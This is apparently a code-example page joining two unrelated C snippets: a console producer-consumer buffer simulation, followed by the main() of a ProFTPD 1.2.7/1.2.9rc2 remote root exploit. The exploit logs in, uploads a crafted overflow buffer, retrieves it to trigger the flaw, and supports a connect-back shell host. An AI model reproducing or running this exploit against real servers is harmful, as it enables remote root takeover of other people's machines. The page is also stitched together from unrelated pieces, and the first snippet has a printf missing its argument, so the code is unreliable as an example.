void prod_cons_working()
{
  	int i,loop_var1=0,loop_var2=0,max_item;
	float prod_rate,cons_rate,percent,temper=0;
    printf("\n Enter Production rate and consumption rate\n");
    scanf("%f%f",&prod_rate,&cons_rate);
    if(prod_rate>cons_rate)
	{
		   max_item=(int)prod_rate;
           percent=prod_rate/cons_rate;
           printf("\n\nPRODUCER IS FASTER THAN CONSUMER\n");
           Sleep(500);
    }
    else
    {
    	max_item=(int)cons_rate;
	     percent=cons_rate/prod_rate; 
	     if(cons_rate>prod_rate)
	       printf("\n\nCONSUMER IS FASTER THAN PRODUCER\n");
	     else
		   printf("\n\nBOTH ARE HAVING SAME RATES\n");
		 Sleep(500);    
	}
	printf("\n INITIAL BUFFER SIZE IS 10\n");
	printf("\n Max-item : %d \t\t,Percent : %f",max_item,percent); Sleep(1500);
	printf("\n\t\t\t\t\t\t\t\t INITIALLY\n");
	display(headofbuffer,max_item);
	printf("\n\tPRODUCER : SLEEPING");
	printf("                                                                                                            CONSUMER : SLEEPING\n");
	prod:
	while(1)
	{
		if(out>=max_item&&in>=max_item)
		{
		    system("cls");	
			display(headofbuffer,max_item);
			printf("\n\tPRODUCER : SLEEPING");
        	printf("                                                                                                    CONSUMER : SLEEPING\n");
			printf("\n\t PRODUCTION - CONSUMPTION PROCESS TERMINATES\n");
			return;
		}
		
		if(prod_rate>cons_rate)
		{
			temper+=percent;
			loop_var1=(int)temper-in;
	    }
	    else
	        loop_var1=1;
	   
		while(loop_var1&&in<max_item) 
		{ 
		  loop1:
		  	if(in==max_item&&out<max_item)
		  	{
		  		loop_var1=0;
		  		printf("\n PRODUCTION IS OVER , PRODUCED %d ITEMS\n");
		  		goto loop2;
		  	}
		if(in-out==bufsize&&in<max_item)
		{
			printf("\n\t\t\t\t\t BUFFER FULL\n");
			printf("\n\t\t\t\t PRODUCER CALLING TO CONSUMER\n");
			goto cons;
		}   
		Sleep(2000);
		system("cls");
		headofbuffer=createbuffer(&headofbuffer);
		display(headofbuffer,max_item);
		if(loop_var1>0)
			printf("\n\tPRODUCER : WAKING\t\t\t\t\t\t\t\t\t\t\t\t\t\tCONSUMER : SLEEPING\n");
		else
		    printf("\n\tPRODUCER : WAKING\tCALL FROM CONSUMER\t\t\t\t\t\tCONSUMER : SLEEPING\n");	
		loop_var1--;
		if(loop_var2>0)  goto loop2;
	
	    }
	    
		goto cons;
	}

    cons: 
	while(1)
	{
		if(out>=max_item)
		{
			system("cls");
			display(headofbuffer,max_item);
			printf("\n\tPRODUCER : SLEEPING");
        	printf("                                                                                                    CONSUMER : SLEEPING\n");
			printf("\n PRODUCTION - CONSUMPTION PROCESS TERMINATES\n");
			return;
		}
	
		if(prod_rate<cons_rate)
		{
			temper+=percent;
			loop_var2=(int)temper-out;
	    }
	    else
	        loop_var2=1;  
	       
		while(loop_var2&&out<max_item) 
		{ 
		  loop2:
		Sleep(2000);
		system("cls");
		if(out==in&&in<max_item)
		{
			display(headofbuffer,max_item);
			printf("\n                                                BUFFER EMPTY\n");
			printf("\n\t\t\t\t\t\tCONSUMER CALLING TO PRODUCER\n");
			goto prod;
		}
	
		removeproduct(&headofbuffer);
		display(headofbuffer,max_item);
		if(loop_var2>0)
		     printf("\n\tPRODUCER : SLEEPING\t\t\t\t\t\t\t\t\t\t\t\t\t\tCONSUMER : WAKING\n");
		else
		     printf("\n\tPRODUCER : SLEEPING\tCALL FROM PRODUCER\t\t\t\t\t\tCONSUMER : WAKING\n");     
		loop_var2--;
		if(loop_var1>0)  goto loop1;
	   }
	   goto prod;
	
	}
	
}
Beispiel #2
0
main(int argc,char **argv)
{
    char buffer[BIGSIZE];
    char cmdbuf[SIZE];
    char srvbuf[SIZE];
    char filename[30];
    int j,a,b,port1;
    int total;
    char c;
    char *user=NULL;
    char *pass=NULL;
    char *localip=NULL;
    
    if(argc<2) usage(argv[0]);
    while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
      {
            switch (c)
            {
              case 'd':
                  server=optarg;
                  break;
              case 't':
                  type = atoi(optarg);
                  if((type > sizeof(targets)/sizeof(v)) || (type < 1))
                       usage(argv[0]);
                  break;
             case 'u':
                  user=optarg;
                   break;
             case 'p':
                  pass=optarg;
                   break;
             case 'l':
                  localip=optarg;
                   break;
             case 'h':
                   cbhost=optarg;
                   break;
             case 'o':
                    pt=atoi(optarg) & 0xffff;
                    break;
             default:
                  usage(argv[0]);
                  return 1;
              }
          }
          if(server==NULL || user==NULL || pass==NULL || localip==NULL)
              usage(argv[0]);
       printf("@---------------------------------------------------------@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s  #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com      @\n");
    printf("-----------------------------------------------------------\n");      
    printf("[+] Ret address:%p\n",targets[type-1].ret);         
          if(cbhost==NULL)
        bindmethod=1;
    else
    {
        if((int)inet_addr(cbhost)==-1)
        {
            printf("[-] Invalid connect back host/ip\n");
            exit(0);
        }
        bindmethod=0;
    }
    port1=34568;              //PORT命令的时候在本地产生的一个端口.
    sockfd=sockfd1=sockfd2=0;
    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit();
    loginftp(user,pass);
    //port1=setpasv(); //get the pasv port
    setport(localip,port1);
    setfilename(filename,30);
    setascii();
    total=createbuffer(buffer,BIGSIZE,type,cbhost);
    //printf("[+] buffer data size:%d\n",total);
    storbuf(filename,buffer,total,port1);
    //stor over, then close and reconnect
    close(sockfd);
    close(sockfd1);
    close(sockfd2);
    
    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect
    loginftp(user,pass);
    setascii();
    
    setport(localip,port1); //get the pasv port,a new one
    mustread=total;
    retrbuf(filename,buffer,total,port1);
    readbuf("The First time read",sockfd,srvbuf,SIZE);
    port1++;
    setport(localip,port1);
    mustread=total;
    getshell=1;
    
    retrbuf(filename,buffer,total,port1);
    quit();
}